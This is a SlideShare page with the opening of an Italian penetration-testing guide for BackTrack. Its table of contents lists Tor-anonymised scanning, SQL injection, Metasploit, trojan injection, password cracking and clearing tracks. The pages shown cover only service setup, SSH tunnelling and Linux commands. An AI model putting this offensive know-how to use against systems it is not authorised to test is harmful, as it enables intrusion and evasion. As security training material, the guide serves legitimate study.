SPS Italia 2016 - Presentazione
 
100 problemas maravillosos de matemáticas - Libro 6
100 problemas maravillosos de matemáticas - Libro 6100 problemas maravillosos de matemáticas - Libro 6
100 problemas maravillosos de matemáticas - Libro 6
 

Similar to Sicurezza informatica sygest_short

Handbook all eng
Handbook all engHandbook all eng
Handbook all enganiqa7
 
Advanced web application hacking and exploitation
Advanced web application hacking and exploitationAdvanced web application hacking and exploitation
Advanced web application hacking and exploitationRafel Ivgi
 
Fortigate utm-40-mr1
Fortigate utm-40-mr1Fortigate utm-40-mr1
Fortigate utm-40-mr1Yusuf Usmani
 
Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters.pdf
Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters.pdfBlack_Hat_Python_Python_Programming_for_Hackers_and_Pentesters.pdf
Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters.pdfBoucif David
 
pentesting
pentestingpentesting
pentestingBobzyn
 
Erp cloud service integration how end to-end_automation
Erp cloud service integration how end to-end_automationErp cloud service integration how end to-end_automation
Erp cloud service integration how end to-end_automationVikas Rai PRINCE2® ITIL®
 
2600 v24 n2 (summer 2007)
2600 v24 n2 (summer 2007)2600 v24 n2 (summer 2007)
2600 v24 n2 (summer 2007)Felipe Prado
 
@author Jane Programmer @cwid 123 45 678 @class
   @author Jane Programmer  @cwid   123 45 678  @class   @author Jane Programmer  @cwid   123 45 678  @class
@author Jane Programmer @cwid 123 45 678 @classtroutmanboris
 
@author Jane Programmer @cwid 123 45 678 @class.docx
   @author Jane Programmer  @cwid   123 45 678  @class.docx   @author Jane Programmer  @cwid   123 45 678  @class.docx
@author Jane Programmer @cwid 123 45 678 @class.docxShiraPrater50
 
Configuring Microsoft Windows IP Security to Operate with HP ...
Configuring Microsoft Windows IP Security to Operate with HP ...Configuring Microsoft Windows IP Security to Operate with HP ...
Configuring Microsoft Windows IP Security to Operate with HP ...webhostingguy
 
Innovative (Mobile) Interactivity (Augmented Reality and more…)
Innovative (Mobile) Interactivity (Augmented Reality and more…)Innovative (Mobile) Interactivity (Augmented Reality and more…)
Innovative (Mobile) Interactivity (Augmented Reality and more…)Carin Campanario
 
Nominum 2017 Spring Data Revelations Security Report
Nominum 2017 Spring Data Revelations Security ReportNominum 2017 Spring Data Revelations Security Report
Nominum 2017 Spring Data Revelations Security ReportYuriy Yuzifovich
 
Robust integration with tivoli directory integrator 7.0 redp4672
Robust integration with tivoli directory integrator 7.0 redp4672Robust integration with tivoli directory integrator 7.0 redp4672
Robust integration with tivoli directory integrator 7.0 redp4672Banking at Ho Chi Minh city
 
Robust integration with tivoli directory integrator 7.0 redp4672
Robust integration with tivoli directory integrator 7.0 redp4672Robust integration with tivoli directory integrator 7.0 redp4672
Robust integration with tivoli directory integrator 7.0 redp4672Banking at Ho Chi Minh city
 
Uni fi controller_ug
Uni fi controller_ugUni fi controller_ug
Uni fi controller_ugjoko
 
Faronics Data Igloo User Guide
Faronics Data Igloo User GuideFaronics Data Igloo User Guide
Faronics Data Igloo User GuideFaronics
 
Deployment guide
Deployment guideDeployment guide
Deployment guidedonzerci
 

Similar to Sicurezza informatica sygest_short (20)

Handbook all eng
Handbook all engHandbook all eng
Handbook all eng
 
Advanced web application hacking and exploitation
Advanced web application hacking and exploitationAdvanced web application hacking and exploitation
Advanced web application hacking and exploitation
 
Ftk 1.80 manual
Ftk 1.80 manualFtk 1.80 manual
Ftk 1.80 manual
 
Fortigate utm-40-mr1
Fortigate utm-40-mr1Fortigate utm-40-mr1
Fortigate utm-40-mr1
 
anti hacking.pdf
anti hacking.pdfanti hacking.pdf
anti hacking.pdf
 
Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters.pdf
Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters.pdfBlack_Hat_Python_Python_Programming_for_Hackers_and_Pentesters.pdf
Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters.pdf
 
pentesting
pentestingpentesting
pentesting
 
Erp cloud service integration how end to-end_automation
Erp cloud service integration how end to-end_automationErp cloud service integration how end to-end_automation
Erp cloud service integration how end to-end_automation
 
2600 v24 n2 (summer 2007)
2600 v24 n2 (summer 2007)2600 v24 n2 (summer 2007)
2600 v24 n2 (summer 2007)
 
@author Jane Programmer @cwid 123 45 678 @class
   @author Jane Programmer  @cwid   123 45 678  @class   @author Jane Programmer  @cwid   123 45 678  @class
@author Jane Programmer @cwid 123 45 678 @class
 
@author Jane Programmer @cwid 123 45 678 @class.docx
   @author Jane Programmer  @cwid   123 45 678  @class.docx   @author Jane Programmer  @cwid   123 45 678  @class.docx
@author Jane Programmer @cwid 123 45 678 @class.docx
 
Configuring Microsoft Windows IP Security to Operate with HP ...
Configuring Microsoft Windows IP Security to Operate with HP ...Configuring Microsoft Windows IP Security to Operate with HP ...
Configuring Microsoft Windows IP Security to Operate with HP ...
 
Innovative (Mobile) Interactivity (Augmented Reality and more…)
Innovative (Mobile) Interactivity (Augmented Reality and more…)Innovative (Mobile) Interactivity (Augmented Reality and more…)
Innovative (Mobile) Interactivity (Augmented Reality and more…)
 
Sicurezza informatica
Sicurezza informaticaSicurezza informatica
Sicurezza informatica
 
Nominum 2017 Spring Data Revelations Security Report
Nominum 2017 Spring Data Revelations Security ReportNominum 2017 Spring Data Revelations Security Report
Nominum 2017 Spring Data Revelations Security Report
 
Robust integration with tivoli directory integrator 7.0 redp4672
Robust integration with tivoli directory integrator 7.0 redp4672Robust integration with tivoli directory integrator 7.0 redp4672
Robust integration with tivoli directory integrator 7.0 redp4672
 
Robust integration with tivoli directory integrator 7.0 redp4672
Robust integration with tivoli directory integrator 7.0 redp4672Robust integration with tivoli directory integrator 7.0 redp4672
Robust integration with tivoli directory integrator 7.0 redp4672
 
Uni fi controller_ug
Uni fi controller_ugUni fi controller_ug
Uni fi controller_ug
 
Faronics Data Igloo User Guide
Faronics Data Igloo User GuideFaronics Data Igloo User Guide
Faronics Data Igloo User Guide
 
Deployment guide
Deployment guideDeployment guide
Deployment guide
 

More from Emanuela Corradini

L'analisi FMECA applicata alla gestione dei ricambi
L'analisi FMECA applicata alla gestione dei ricambiL'analisi FMECA applicata alla gestione dei ricambi
L'analisi FMECA applicata alla gestione dei ricambiEmanuela Corradini
 
Predictive Maintenance: una reale opportunità?
Predictive Maintenance: una reale opportunità?Predictive Maintenance: una reale opportunità?
Predictive Maintenance: una reale opportunità?Emanuela Corradini
 
Digitalisation of Service - Le Linee Guida al Service 4.0
Digitalisation of Service - Le Linee Guida al Service 4.0Digitalisation of Service - Le Linee Guida al Service 4.0
Digitalisation of Service - Le Linee Guida al Service 4.0Emanuela Corradini
 
Generare modulistica digitale interattiva e gestire il workflow dei procedimenti
Generare modulistica digitale interattiva e gestire il workflow dei procedimentiGenerare modulistica digitale interattiva e gestire il workflow dei procedimenti
Generare modulistica digitale interattiva e gestire il workflow dei procedimentiEmanuela Corradini
 
Partner Meeting NTS 2016 - Presentazione
Partner Meeting NTS 2016 - PresentazionePartner Meeting NTS 2016 - Presentazione
Partner Meeting NTS 2016 - PresentazioneEmanuela Corradini
 
I progetti avveniristici di Google e uno sguardo sul futuro
I progetti avveniristici di Google e uno sguardo sul futuroI progetti avveniristici di Google e uno sguardo sul futuro
I progetti avveniristici di Google e uno sguardo sul futuroEmanuela Corradini
 
Case History Fava - Gestione Ricambi
Case History Fava - Gestione RicambiCase History Fava - Gestione Ricambi
Case History Fava - Gestione RicambiEmanuela Corradini
 
Qr code IDENTIFICAZIONE DELLE PARTI DI RICAMBIO TRAMITE DISPOSITIVI MOBILE E...
Qr code IDENTIFICAZIONE DELLE PARTI DI RICAMBIO TRAMITE  DISPOSITIVI MOBILE E...Qr code IDENTIFICAZIONE DELLE PARTI DI RICAMBIO TRAMITE  DISPOSITIVI MOBILE E...
Qr code IDENTIFICAZIONE DELLE PARTI DI RICAMBIO TRAMITE DISPOSITIVI MOBILE E...Emanuela Corradini
 
Gestione della documentazione tecnica
Gestione della documentazione tecnicaGestione della documentazione tecnica
Gestione della documentazione tecnicaEmanuela Corradini
 
Syman manuali ricambi interattivi
Syman manuali ricambi interattiviSyman manuali ricambi interattivi
Syman manuali ricambi interattiviEmanuela Corradini
 
Case histories sy dav-gestione ricambi
Case histories  sy dav-gestione ricambiCase histories  sy dav-gestione ricambi
Case histories sy dav-gestione ricambiEmanuela Corradini
 

More from Emanuela Corradini (17)

L'analisi FMECA applicata alla gestione dei ricambi
L'analisi FMECA applicata alla gestione dei ricambiL'analisi FMECA applicata alla gestione dei ricambi
L'analisi FMECA applicata alla gestione dei ricambi
 
Company System
Company SystemCompany System
Company System
 
Data Mining
Data MiningData Mining
Data Mining
 
Predictive Maintenance: una reale opportunità?
Predictive Maintenance: una reale opportunità?Predictive Maintenance: una reale opportunità?
Predictive Maintenance: una reale opportunità?
 
Digitalisation of Service - Le Linee Guida al Service 4.0
Digitalisation of Service - Le Linee Guida al Service 4.0Digitalisation of Service - Le Linee Guida al Service 4.0
Digitalisation of Service - Le Linee Guida al Service 4.0
 
Generare modulistica digitale interattiva e gestire il workflow dei procedimenti
Generare modulistica digitale interattiva e gestire il workflow dei procedimentiGenerare modulistica digitale interattiva e gestire il workflow dei procedimenti
Generare modulistica digitale interattiva e gestire il workflow dei procedimenti
 
Design Thinking
Design ThinkingDesign Thinking
Design Thinking
 
Partner Meeting NTS 2016 - Presentazione
Partner Meeting NTS 2016 - PresentazionePartner Meeting NTS 2016 - Presentazione
Partner Meeting NTS 2016 - Presentazione
 
Netflix
NetflixNetflix
Netflix
 
I progetti avveniristici di Google e uno sguardo sul futuro
I progetti avveniristici di Google e uno sguardo sul futuroI progetti avveniristici di Google e uno sguardo sul futuro
I progetti avveniristici di Google e uno sguardo sul futuro
 
Case History Fava - Gestione Ricambi
Case History Fava - Gestione RicambiCase History Fava - Gestione Ricambi
Case History Fava - Gestione Ricambi
 
Qr code IDENTIFICAZIONE DELLE PARTI DI RICAMBIO TRAMITE DISPOSITIVI MOBILE E...
Qr code IDENTIFICAZIONE DELLE PARTI DI RICAMBIO TRAMITE  DISPOSITIVI MOBILE E...Qr code IDENTIFICAZIONE DELLE PARTI DI RICAMBIO TRAMITE  DISPOSITIVI MOBILE E...
Qr code IDENTIFICAZIONE DELLE PARTI DI RICAMBIO TRAMITE DISPOSITIVI MOBILE E...
 
Gestione della documentazione tecnica
Gestione della documentazione tecnicaGestione della documentazione tecnica
Gestione della documentazione tecnica
 
Le potenzialità del PDF
Le potenzialità del PDFLe potenzialità del PDF
Le potenzialità del PDF
 
Syman manuali ricambi interattivi
Syman manuali ricambi interattiviSyman manuali ricambi interattivi
Syman manuali ricambi interattivi
 
Sydav PDF 3D
Sydav PDF 3DSydav PDF 3D
Sydav PDF 3D
 
Case histories sy dav-gestione ricambi
Case histories  sy dav-gestione ricambiCase histories  sy dav-gestione ricambi
Case histories sy dav-gestione ricambi
 

Recently uploaded

Knowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backKnowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backElena Simperl
 
Essentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with ParametersEssentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with ParametersSafe Software
 
The architecture of Generative AI for enterprises.pdf
The architecture of Generative AI for enterprises.pdfThe architecture of Generative AI for enterprises.pdf
The architecture of Generative AI for enterprises.pdfalexjohnson7307
 
AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...
AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...
AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...Product School
 
Optimizing NoSQL Performance Through Observability
Optimizing NoSQL Performance Through ObservabilityOptimizing NoSQL Performance Through Observability
Optimizing NoSQL Performance Through ObservabilityScyllaDB
 
Exploring UiPath Orchestrator API: updates and limits in 2024 🚀
Exploring UiPath Orchestrator API: updates and limits in 2024 🚀Exploring UiPath Orchestrator API: updates and limits in 2024 🚀
Exploring UiPath Orchestrator API: updates and limits in 2024 🚀DianaGray10
 
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...Product School
 
IESVE for Early Stage Design and Planning
IESVE for Early Stage Design and PlanningIESVE for Early Stage Design and Planning
IESVE for Early Stage Design and PlanningIES VE
 
Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...
Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...
Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...CzechDreamin
 
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Tobias Schneck
 
Agentic RAG What it is its types applications and implementation.pdf
Agentic RAG What it is its types applications and implementation.pdfAgentic RAG What it is its types applications and implementation.pdf
Agentic RAG What it is its types applications and implementation.pdfChristopherTHyatt
 
Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)
Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)
Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)Julian Hyde
 
UiPath Test Automation using UiPath Test Suite series, part 2
UiPath Test Automation using UiPath Test Suite series, part 2UiPath Test Automation using UiPath Test Suite series, part 2
UiPath Test Automation using UiPath Test Suite series, part 2DianaGray10
 
IoT Analytics Company Presentation May 2024
IoT Analytics Company Presentation May 2024IoT Analytics Company Presentation May 2024
IoT Analytics Company Presentation May 2024IoTAnalytics
 
What's New in Teams Calling, Meetings and Devices April 2024
What's New in Teams Calling, Meetings and Devices April 2024What's New in Teams Calling, Meetings and Devices April 2024
What's New in Teams Calling, Meetings and Devices April 2024Stephanie Beckett
 
AI revolution and Salesforce, Jiří Karpíšek
AI revolution and Salesforce, Jiří KarpíšekAI revolution and Salesforce, Jiří Karpíšek
AI revolution and Salesforce, Jiří KarpíšekCzechDreamin
 
Powerful Start- the Key to Project Success, Barbara Laskowska
Powerful Start- the Key to Project Success, Barbara LaskowskaPowerful Start- the Key to Project Success, Barbara Laskowska
Powerful Start- the Key to Project Success, Barbara LaskowskaCzechDreamin
 
ODC, Data Fabric and Architecture User Group
ODC, Data Fabric and Architecture User GroupODC, Data Fabric and Architecture User Group
ODC, Data Fabric and Architecture User GroupCatarinaPereira64715
 
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered QualitySoftware Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered QualityInflectra
 
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...Thierry Lestable
 

Recently uploaded (20)

Knowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backKnowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and back
 
Essentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with ParametersEssentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with Parameters
 
The architecture of Generative AI for enterprises.pdf
The architecture of Generative AI for enterprises.pdfThe architecture of Generative AI for enterprises.pdf
The architecture of Generative AI for enterprises.pdf
 
AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...
AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...
AI for Every Business: Unlocking Your Product's Universal Potential by VP of ...
 
Optimizing NoSQL Performance Through Observability
Optimizing NoSQL Performance Through ObservabilityOptimizing NoSQL Performance Through Observability
Optimizing NoSQL Performance Through Observability
 
Exploring UiPath Orchestrator API: updates and limits in 2024 🚀
Exploring UiPath Orchestrator API: updates and limits in 2024 🚀Exploring UiPath Orchestrator API: updates and limits in 2024 🚀
Exploring UiPath Orchestrator API: updates and limits in 2024 🚀
 
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
 
IESVE for Early Stage Design and Planning
IESVE for Early Stage Design and PlanningIESVE for Early Stage Design and Planning
IESVE for Early Stage Design and Planning
 
Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...
Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...
Behind the Scenes From the Manager's Chair: Decoding the Secrets of Successfu...
 
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
 
Agentic RAG What it is its types applications and implementation.pdf
Agentic RAG What it is its types applications and implementation.pdfAgentic RAG What it is its types applications and implementation.pdf
Agentic RAG What it is its types applications and implementation.pdf
 
Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)
Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)
Measures in SQL (a talk at SF Distributed Systems meetup, 2024-05-22)
 
UiPath Test Automation using UiPath Test Suite series, part 2
UiPath Test Automation using UiPath Test Suite series, part 2UiPath Test Automation using UiPath Test Suite series, part 2
UiPath Test Automation using UiPath Test Suite series, part 2
 
IoT Analytics Company Presentation May 2024
IoT Analytics Company Presentation May 2024IoT Analytics Company Presentation May 2024
IoT Analytics Company Presentation May 2024
 
What's New in Teams Calling, Meetings and Devices April 2024
What's New in Teams Calling, Meetings and Devices April 2024What's New in Teams Calling, Meetings and Devices April 2024
What's New in Teams Calling, Meetings and Devices April 2024
 
AI revolution and Salesforce, Jiří Karpíšek
AI revolution and Salesforce, Jiří KarpíšekAI revolution and Salesforce, Jiří Karpíšek
AI revolution and Salesforce, Jiří Karpíšek
 
Powerful Start- the Key to Project Success, Barbara Laskowska
Powerful Start- the Key to Project Success, Barbara LaskowskaPowerful Start- the Key to Project Success, Barbara Laskowska
Powerful Start- the Key to Project Success, Barbara Laskowska
 
ODC, Data Fabric and Architecture User Group
ODC, Data Fabric and Architecture User GroupODC, Data Fabric and Architecture User Group
ODC, Data Fabric and Architecture User Group
 
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered QualitySoftware Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
Software Delivery At the Speed of AI: Inflectra Invests In AI-Powered Quality
 
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
 

Sicurezza informatica sygest_short

  • 1. LUIGI CAPUZZELLO Sicurezza Informatica Black Box Penetration test Versione: 2.0 Luigi Capuzzello 17/11/2013 http://www.linkedin.com/pub/luigi-capuzzello/7/561/12a http://www.slideshare.net/luigicapuzzello @FisherKasparov luigi.capuzzello Il documento si propone di analizzare in dettaglio le fasi di un penetration test (information gathering, ricerca exploit, client side attack, password cracking, backdoor). La distribuzione GNU/Linux utilizzata come piattaforma di base per eseguire i penetration test è BackTrack.
  • 2. Backtrack Basic. Sommario Backtrack Basic.................................................................................................................................... 3 Services ............................................................................................................................................ 3 Linux: alcuni comandi utili. ............................................................................................................. 5 Basic: mount device / network share ........................................................................................... 5 Installare aggiornare un programma. ......................................................................................... 5 Elenco comandi comuni. .............................................................................................................. 5 Bash Environment ............................................................................................................................ 8 Variabili ....................................................................................................................................... 8 Passaggio di parametri ................................................................................................................. 8 User Input ..................................................................................................................................... 8 Bash Trap Command ................................................................................................................... 8 Array ............................................................................................................................................ 9 Leggere un file e metterlo in un Array ......................................................................................... 9 if statement ................................................................................................................................... 9 For statement ................................................................................................................................ 9 Arithmetic Comparison ................................................................................................................ 9 String Comparison ..................................................................................................................... 10 Bash File Testing ....................................................................................................................... 10 Funzioni ..................................................................................................................................... 10 Alcuni esempi di comandi interessanti ...................................................................................... 11 python environment ....................................................................................................................... 15 Rendersi invisibili. ............................................................................................................................. 18 iptables ........................................................................................................................................... 18 TORtunnel: installazione ............................................................................................................... 18 TORtunnel: nmap ........................................................................................................................... 19 TORtunnel: hydra .......................................................................................................................... 19 TORtunnel: sqlmap ........................................................................................................................ 19 TORtunnel: firefox ......................................................................................................................... 19 scansione porte ............................................................................................................................... 19 Information Gathering........................................................................................................................ 20 Service Information Gathering........................................................................................................... 21 Nmap .............................................................................................................................................. 21 FTP (21) ......................................................................................................................................... 21 DNS (53). ....................................................................................................................................... 21 SNMP (161) ................................................................................................................................... 21 SMTP (25)...................................................................................................................................... 21 SMB (139 - 445) ............................................................................................................................ 21 HTTP (80) (scanning delle reti) .................................................................................................... 22 Verifica iniziale .......................................................................................................................... 22 XSS: Cross Site Scripting. ......................................................................................................... 23 XSRF: Cross Site Reference Forgery. ....................................................................................... 24 Path Traversal Attack. ................................................................................................................ 24 SQL Injection. ............................................................................................................................ 25 SQL Injection: sqlmap: .............................................................................................................. 25 In manuale .................................................................................................................................. 25 SQL Injection: MySQL .............................................................................................................. 25 SQL Injection: Access ............................................................................................................... 25 Luigi Capuzzello 1
  • 3. Backtrack Basic. Exploit: ricerca vulnerabilità note ...................................................................................................... 26 Exploit: eseguire ................................................................................................................................ 26 Nessus e Metasploit ....................................................................................................................... 26 Metasploit autopwn ........................................................................................................................ 26 Metasploit....................................................................................................................................... 26 Meterpreter ................................................................................................................................. 26 da siti web ...................................................................................................................................... 26 Client side Attack ............................................................................................................................... 27 aurora / autoPWN (payload) .......................................................................................................... 27 !!!! iniettare trojan in eseguibile..................................................................................................... 27 smb_relay (payload) ....................................................................................................................... 27 smb sniff password......................................................................................................................... 28 Password Cracking ............................................................................................................................. 29 Online password ............................................................................................................................. 29 John come dizionario ................................................................................................................. 29 Offline password ............................................................................................................................ 30 Cosa fare dopo che ho una shell......................................................................................................... 31 subito … ......................................................................................................................................... 31 con Tftp (no in vista e 7) ................................................................................................................ 31 con Ftp............................................................................................................................................ 31 DEBUG.exe (no 7) ......................................................................................................................... 32 Vb script ......................................................................................................................................... 32 Internet Explorer ............................................................................................................................ 32 wget ................................................................................................................................................ 32 Shell su macchina non routable: ssh tunneling. ............................................................................. 33 Pulire le tracce lasciate. ...................................................................................................................... 34 Network Fun (pwb3.doc) ................................................................................................................... 35 Netcat ............................................................................................................................................. 35 Port redirection: rinetd ................................................................................................................... 35 Encapsulation - stunnel .................................................................................................................. 36 HTTP CONNECT Tunneling ........................................................................................................ 37 ProxyTunnel ................................................................................................................................... 37 SSH Tunneling ............................................................................................................................... 38 Chiave pubblica e privata ............................................................................................................... 38 SSH: configurare con chiave pubblica e privata ............................................................................ 39 Appendice A: Service exploit ............................................................................................................ 40 Appendice B: siti utili. ....................................................................................................................... 41 Appendice C: IRC command. ............................................................................................................ 42 Appendice D: crack WEP/WPA protocol con BackTrack................................................................. 43 Luigi Capuzzello 2
  • 4. Backtrack Basic. Backtrack Basic. La distrubuzione BackTrack consente di attivare e disattivare facilmente tutti i principali servizi e le applicazioni server che servono per realizzare un penetration test. Services ENTRARE IN RETE Per farlo è necessario settare un indirizzo IP valido root@bt:~# ifconfig eth0 192.168.0.4/24 root@bt:~# route add default gw 192.168.0.1 root@bt:~# route add -net 192.168.1.0 netmask 255.255.255.0 eth0 Definire il server DNS: root@bt:~# echo nameserver 192.168.0.1 > /etc/resolv.conf Eventualmente collegarsi ad un access Point wireless: root@bt:~# iwconfig eth1 essid sygest key 123451234512341234ABCDABCD channel 11 DHCP: Se esiste un server DHCP valido allora è sufficiente: root@bt:~# dhclient eth0 APACHE root@bt:~# /etc/init.d/apache2 start root@bt:~# /etc/init.d/apache2 stop SERVER FTP Attivo il database del server pureFTP # pure-pw mkdb # ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/PureDB # nano /etc/pure-ftpd/conf/PAMAuthentication Cmbiare ‘yes’ in ‘mp’ E’ ora necessario abilitare il file pdb; per farlo è necessario fermare il server per evitare errori facendo partire servizi su porte che sono già I uso. # /etc/init.d/pure-ftpd stop # /usr/sbin/pure-ftpd -j -lpuredb:/etc/pure-ftpd/pureftpd.pdb & # /etc/init.d/pure-ftpd start # chmod 777 /ftphome/ creo un nuovo utente ftp: 1. utente hacker 2. appartenente al gruppo ftpuser 3. con home directory /ftphome/ #pure-pw useradd hacker –u ftpuser –d /ftphome/ Inserisco l’utente creato nel database con #pure-pwd mkdb Faccio partire il server FTP #/etc/init.d/pure-ftpd restart SAMBA CLIENT #smbclient macchina_remotacartella – U <utente definito sulla macchina (non di dominio)> Get: per scaricare i file Put: per uplodare i file SAMBA SERVER Luigi Capuzzello 3
  • 5. Backtrack Basic. - Configuro /etc/samba/smb.conf in modo da condividere una cartella [global] workgroup = <gruppo definito sulla macchina> server string = foo security = user load printers = yes log file = /var/log/samba.%m max log file = 50 socket option = TCP_NODELAY [home] comment = Home Directory path = /home/luigi/ valid users = sambausr luigi writable = yes L'esempio illustrato sopra consente agli utenti sambausr e luigi di leggere e scrivere nella directory /home/luigi, sul server Samba da un client Samba. - Faccio partire samba server # service smb restart SSH SERVER root@bt:~# sshd-generate (la prima volta) root@bt:~# /etc/init.d/ssh start SSH CLIENT Supponiamo di voler fare un collegamento da ‘mypc’ alla macchina ‘work’ passando dal gateway ‘gate’ (su cui gira sshd). Da mypc eseguo: mypc# ssh –p 10022 –l root –L 7777:work:25 gate cat Apro una connessione ssh con utente root su ‘gate’ (porta 10022) ed eseguo il commando cat (che mi consente di tenere la sessione aperta). –L : ridirigo tutto ciò che mando alla porta 7777 di mypc sulla porta 25 di work. Attivando il comando mi verrà chiesta la password di root su ‘gate’. Una volta creato il tunnel lo posso usare da ‘mypc’ con comandi come: mypc# telnet 127.0.0.1 7777 (mi collega alla porta 25 di work) TFTPD Lo faccio partire su una determinate cartella e porta root@bt:~# atftpd --daemon --port 69 /tmp Per prelevare file faccio: #tftp -i <IP remoto> GET <file> VNC SERVER Parte sulla porta 5901 e ha bisogno di una password per poter essere acceduto root@bt:~# vncserver Luigi Capuzzello 4
  • 6. Backtrack Basic. Linux: alcuni comandi utili. Segue un elenco di alcuni dei comandi linux che vengono utilizzati più di frequente. L’elenco è molto sintetico; esula dalla seguente trattazione la definizione dettagliata dei concetti di base che sottendo l’utilizzo dei comandi. Basic: mount device / network share #fdisk –l (visualizzo tutti i dispositivi che il kernel vede) #mount /dev/hda1 /mnt/hda1 #ls -l /mnt/hda1 Installare aggiornare un programma. Con codice sorgente: tar zxvf program.tar.gz cd to the new program folder ./configure make su root make install make clean make distclean pacchetto rpm rpm -i /doveeilfile/nome.rpm rpm -U /doveeilfile/nome.rpm rpm -e /doveeilfile/nome.rpm #per installare il pacchetto #per fare un update del pacchetto #per disinstallare un pacchetto pacchetto .deb dpkg -i ./percorso/nomepacchetto.deb dpkg -r ./percorso/nomepacchetto.deb yum e apt-get apt-get update yum update #per installare un pacchetto #per rimuovere un pacchetto #aggiornamento del repository (elenco sorgenti /etc/apt/sources.list) il file per configurare apt-get è in /etc/apt/source.list #aggiornamento del repository apt-cache search squirrelmail yum search squirrelmail #Ricerca all'interno del database dei pacchetti # Ricerca all'interno del database dei pacchetti yum install tcpdump apt-get install tcpdump #Installare un pacchetto #Installare un pacchetto yum remove tcpdump apt-get remove tcpdump #rimuove un pacchetto #rimuove un pacchetto svn: sistema di controllo versione Subversion per estrarre una cartella dal repository (co sta per check out) mv programming programming-bk svn co file:///home/mysurface/repo/programming_repo programming per estrarre un file dal repository svn export file:///home/mysurface/repo/programming_repo/c/curses/matrix.cc Elenco comandi comuni. alias elenco ‘ls –la’ -il comando ‘elenco’ corrisponde a ‘ls –la. Per copiare parti di memoria e salvarle su file è necessario utilizzare il comando dd.. Ad esempio se voglio salvare il MBR devo utilizzare il comando: #dd if=/dev/hda of=mbrwindow count=1 bs=512 Luigi Capuzzello 5
